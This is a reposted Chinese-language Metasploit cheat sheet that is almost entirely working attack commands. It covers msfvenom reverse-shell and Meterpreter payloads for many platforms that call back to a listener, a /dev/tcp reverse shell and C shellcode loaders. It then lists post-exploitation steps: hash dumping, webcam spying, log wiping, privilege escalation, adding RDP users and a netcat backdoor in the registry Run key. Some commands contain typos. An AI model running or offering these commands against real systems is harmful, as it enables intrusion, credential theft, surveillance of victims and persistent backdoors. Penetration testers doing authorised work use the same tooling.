Metasploit

来源自https://www.cnblogs.com/LyShark/p/12189163.html

GitHub - rapid7/metasploit-framework: Metasploit FrameworkGitHub

GitHub - rapid7/metasploit-payloads: Unified repository for different Metasploit Framework payloadsGitHub

Metasploit 是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，同时该工具也是渗透测试环境中的利器，它支持多平台Payload的生成具有完全的跨平台性，本次实验将学会生成各种攻击载荷。

快速安装Metasploit linux系统下只需要执行下面的三条命令既可以自动安装,不过国内网速你懂的.

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
> msfinstall && chmod 755 msfinstall && ./msfinstall

关于Msfvenom命令常用参数解释

[root@localhost ~]# msfvenom --help

      -p, --payload    <payload>       指定需要使用的payload(攻击荷载)
      -l, --list       [module_type]   列出指定模块的所有可用资源.
      -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
      -f, --format     <format>        指定输出格式
      -e, --encoder    [encoder]       指定需要使用的encoder编码器
      -a, --arch       <architecture>  指定payload的目标架构
          --platform   <platform>      指定payload的目标平台
      -s, --space      <length>        设定有效攻击荷载的最大长度
      -b, --bad-chars  <list>          设定规避字符集
      -i, --iterations <count>         指定payload的编码次数
          --shellest                   最小化生成payload

Windows ShellCode

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c

Windows EXE Or DLL

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\xff' -f exe -o payload.exe

[root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -b'\x0\x0b' \
lhost=192.168.1.20 lport=9999 -f dll > payload.dll

Linux ShellCode

[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f c

Linux ELF Or ELF-SO

[root@localhost ~]# msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf

[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf -o payload.elf

[root@localhost ~]# msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp -b'\x00\x0b' \
lhost=192.168.1.20 lport=9999 -f elf-so -o payload.so

Mac OS X ShellCode

[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c

[root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp \
-b '\x0\x0b' lhhost=192.168.1.20 lport=9999 -f c

Mac OS X Macho

[root@localhost ~]# msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho

[root@localhost ~]# msfvenom -a x64 --platform osx -p osx/x64/shell_reverse_tcp -b '\x00\0b' \
lhost=192.168.1.20 lport=9999 -f macho -o payload.macho

Android Or Iphone App

[root@localhost ~]# msfvenom --platform android -p android/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.apk

[root@localhost ~]# msfvenom --platform apple_ios -p apple_ios/aarch64/meterpreter_reverse_tcp \
lhost=192.168.1.20 lport=9999 -o payload.ios

PHP Or ASP Or JSP

[root@localhost ~]# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.20 lport=9999 -f raw > shell.php

[root@localhost ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f aspx -o payload.aspx

[root@localhost ~]# msfvenom --platform java -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.jsp

[root@localhost ~]# msfvenom -p java/jsp_shell_reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.war

BASH Or PowerShell

[root@localhost ~]# msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.20 LPORT=9999 > -f raw > payload.sh
[root@localhost ~]# exec 5<>/dev/tcp/192.168.1.20/9999

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.20 lport=9999 -f psh-cmd > payload.ps1

Python Or Ruby Or NodeJS

[root@localhost ~]# msfvenom -p python/meterpreter/reverse_tcp \
lhost=192.168.1.20 lport=9999 -f raw -o payload.py

[root@localhost ~]# msfvenom -p ruby/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.rb

[root@localhost ~]# msfvenom -p cmd/unix/reverse_lua \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.lua

[root@localhost ~]# msfvenom -p nodejs/shell_reverse_tcp \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.js

[root@localhost ~]# msfvenom -p cmd/unix/reverse_perl \
LHOST=192.168.1.20 LPORT=9999 -f raw -o payload.pl

服务端配置后门回弹会话(通用)

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.20
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit -j -z

Windows: 附上ShellCode有效性测试框架

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();
int main()
{
    //((void(*)(void))&buf)();
    PVOID pFunction = NULL;
    pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(pFunction, buf, sizeof(buf));
    CODE StartShell = (CODE)pFunction;
    StartShell();
}

Linux: 附上ShellCode有效性测试框架

#include <stdlib.h>
const unsigned char shellcode[] = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9";

int main(int argc, char **argv) {
    int (*ret)();
    ret = (int(*)())shellcode;
    (int)(*ret)();
    exit(0);
}

#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9";
 
int main(void)
{
    fprintf(stdout,"Length: %d\n",strlen(shellcode));
    (*(void(*)()) shellcode)();
    return 0;
}

后渗透基础命令

msf5 exploit(multi/handler) > sessions          # 查询当前会话
msf5 exploit(multi/handler) > sessions -i 1     # 通过ID号进入指定会话
msf5 exploit(multi/handler) > sessions -k 1     # 通过ID号杀死一个会话
msf5 exploit(multi/handler) > background        # 将会话放入后台
msf5 exploit(multi/handler) > getuid/getpid     # 查询用户权限与PID
msf5 exploit(multi/handler) > sysinfo           # 查看目标系统信息
msf5 exploit(multi/handler) > ps                # 查目标主机进程
msf5 exploit(multi/handler) > kill PID          # 杀死目标制定进程
msf5 exploit(multi/handler) > getsystem         # 尝试令牌提权
msf5 exploit(multi/handler) > shell             # 进入目标shell环境

msf5 exploit(multi/handler) > enumdesktops   # 查看可用的桌面
msf5 exploit(multi/handler) > getdesktop     # 获取当前meterpreter关联的桌面
msf5 exploit(multi/handler) > set_desktop    # 设置meterpreter关联的桌面
msf5 exploit(multi/handler) > screenshot     # 截屏
msf5 exploit(multi/handler) > run vnc        # 使用vnc远程桌面连接

msf5 exploit(multi/handler) > uictl disable mouse    # 禁用目标鼠标
msf5 exploit(multi/handler) > uictl enable keyboard  # 开启目标键盘

msf5 exploit(multi/handler) > webcam_list       # 查看目标主机摄像头
msf5 exploit(multi/handler) > webcam_snap       # 摄像头拍裸照
msf5 exploit(multi/handler) > webcam_stream     # 开启目标主机摄像头
msf5 exploit(multi/handler) > clearav           # 销毁日志文件

msf5 exploit(multi/handler) > webcam_stream -i 1/2       #打开前置或后置摄像头
msf5 exploit(multi/handler) > check_root                 #检测root
msf5 exploit(multi/handler) > dump_calllog               #下载电话记录
msf5 exploit(multi/handler) > dump_contacts              #下载信息记录
msf5 exploit(multi/handler) > geolocate                  #定位，需要下载谷歌地图

Migrate进程迁移

msf5 exploit(multi/handler) > execute                  # 在目标机器中执行文件
msf5 exploit(multi/handler) > execute -H -i -f cmd.exe # 创建新进程cmd.exe -H不可见-i交互

msf5 exploit(multi/handler) > getpid
msf5 exploit(multi/handler) > ps
msf5 exploit(multi/handler) > migrate PID   # 通过PID号迁移进程

文件查阅与远程传输

msf5 exploit(multi/handler) > getwd                                # 查看当前工作目录
msf5 exploit(multi/handler) > search -f *filename*                 # 搜索文件
msf5 exploit(multi/handler) > cat c:\\lyshark.log                  # 查看文件内容
msf5 exploit(multi/handler) > upload /tmp/shell.exe C:\\shell.exe  # 上传文件到目标机
msf5 exploit(multi/handler) > download c:\\shell.exe /tmp/         # 下载文件到本机上
msf5 exploit(multi/handler) > edit c:\\lyshark.log                 # VIM编辑或创建文件
msf5 exploit(multi/handler) > rm C:\\lyshark.log                   # 删除文件
msf5 exploit(multi/handler) > getlwd                               # 看肉鸡当前目录
msf5 exploit(multi/handler) > lcd /tmp                             # 切换目录

网络与端口转发/端口扫描

msf5 exploit(multi/handler) > ifconfig        # 查询肉鸡IP地址
msf5 exploit(multi/handler) > netstat -antp   # 查询目标网络连接
msf5 exploit(multi/handler) > arp -a          # 查询目标ARP缓存
msf5 exploit(multi/handler) > getproxy        # 查看目标代理信息
msf5 exploit(multi/handler) > route           # 查看目标路由表
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24          # 扫描192.168.1.0/24网段
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.100 PORTS=3389 # 检测是否开启3389端口

#-----------------------------------------------------------------------
# portfwd 端口转发与端口关闭
portfwd add -l 9999 -p 3389 -r 127.0.0.1   # 将目标机3389端口转发到本地9999
portfwd list                               # 查询当前转发列表
portfwd delete -l 9999                     # 删除本地主机的9999端口映射

#-----------------------------------------------------------------------
# autoroute 添加与删除主机路由
run autoroute -p                              # 查询添加的路由记录
run autoroute -s 10.10.10.1 -n 255.255.255.0  # 在目标主机添加一条路由
run autoroute -d -s 10.10.10.1                # 删除目标主机中的路由
run autoroute -s 10.10.10.1/24                # 添加一个路由网段

后渗透信息搜集模块

#-----------------------------------------------------------------------
# Centos系统中这些模块默认保存在以下目录中
[root@localhost post]# cd /opt/metasploit-framework/embedded/framework/modules/post/
[root@localhost post]# ls
aix  android  apple_ios  brocade  cisco  firefox  hardware  juniper  linux  multi  osx  solaris  windows

# 以Windows系统中的搜集模块为例,其默认存储在以下路径下.
[root@localhost gather]# pwd
/opt/metasploit-framework/embedded/framework/modules/post/windows/gather

#-----------------------------------------------------------------------
# 信息搜集模块众多,这里拿几个常用模块备注

meterpreter > info post/windows/gather/enum_files           # 查询模块配置参数
meterpreter > run post/windows/gather/enum_files            # 枚举目标服务
meterpreter > run post/windows/gather/enum_services         # 枚举目标服务
meterpreter > run post/windows/gather/hashdump              # 盗取Hash
meterpreter > run post/windows/gather/checkvm               # 是否虚拟机
meterpreter > run post/windows/gather/forensics/enum_drives # 查看分区
meterpreter > run post/windows/gather/enum_applications     # 获取安装软件信息
meterpreter > run post/windows/gather/dumplinks             # 获取最近的文件操作
meterpreter > run post/windows/gather/enum_ie               # 获取IE缓存
meterpreter > run post/windows/gather/enum_chrome           # 获取Chrome缓存
meterpreter > run post/windows/gather/enum_patches          # 补丁信息
meterpreter > run post/windows/gather/enum_domain           # 查找域控

针对肉鸡的提权操作

#-----------------------------------------------------------------------
# 使用bypassuac脚本尝试提权
meterpreter > background
msf > use exploit/windows/local/bypassuac
msf > set SESSION 1
msf > run

#-----------------------------------------------------------------------
meterpreter > run post/windows/gather/enum_patches      # 收集目标主机补丁情况
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7
meterpreter > background
msf > use exploit/windows/local/ms13_053_schlamperei    # 寻找相符合的提权脚本,执行测试
msf > set SESSION 1
msf > exploit

添加系统用户与开启3389远程

#-----------------------------------------------------------------------
# 添加系统用户与开启远程桌面
meterpreter > run getgui -e                                                     # 开启远程桌面
meterpreter > run getgui -u lyshark -p 123123                                   # 添加用户
meterpreter > run getgui -f 9999 -e                                             # 3389端口转发到9999
meterpreter > run post/windows/manage/enable_rdp                                # 开启远程桌面
meterpreter > run post/windows/manage/enable_rdp USERNAME=lyshark PASSWORD=123  # 添加用户
meterpreter > run post/windows/manage/enable_rdp FORWARD=true LPORT=9999        # 将3389端口转发到9999

注册表操作与写入后门

-d   注册表中值的数据.    -k   注册表键路径    -v   注册表键名称
enumkey 枚举可获得的键    setval 设置键值    queryval 查询键值数据
#-----------------------------------------------------------------------
upload /root/nc.exe C:\\windows\\                                       # 上传nc工具到根目录
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run  # 枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v myshell -d 'C:\windows\nc.exe -Ldp 666 -e cmd.exe' # 加后门
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v myshell    # 查看键值

[root@localhost ~]# nc -v 192.168.1.20 666   # 攻击者连接后门

目标网卡抓包

msf > use sniffer
msf > sniffer_interfaces     # 查看网卡
msf > sniffer_start 1        # 选择网卡开始抓包
msf > sniffer_stats 1        # 查看状态
msf > sniffer_dump 1 /tmp/ltest.pcap  #导出pcap数据包
msf > sniffer_stop 1         # 停止抓包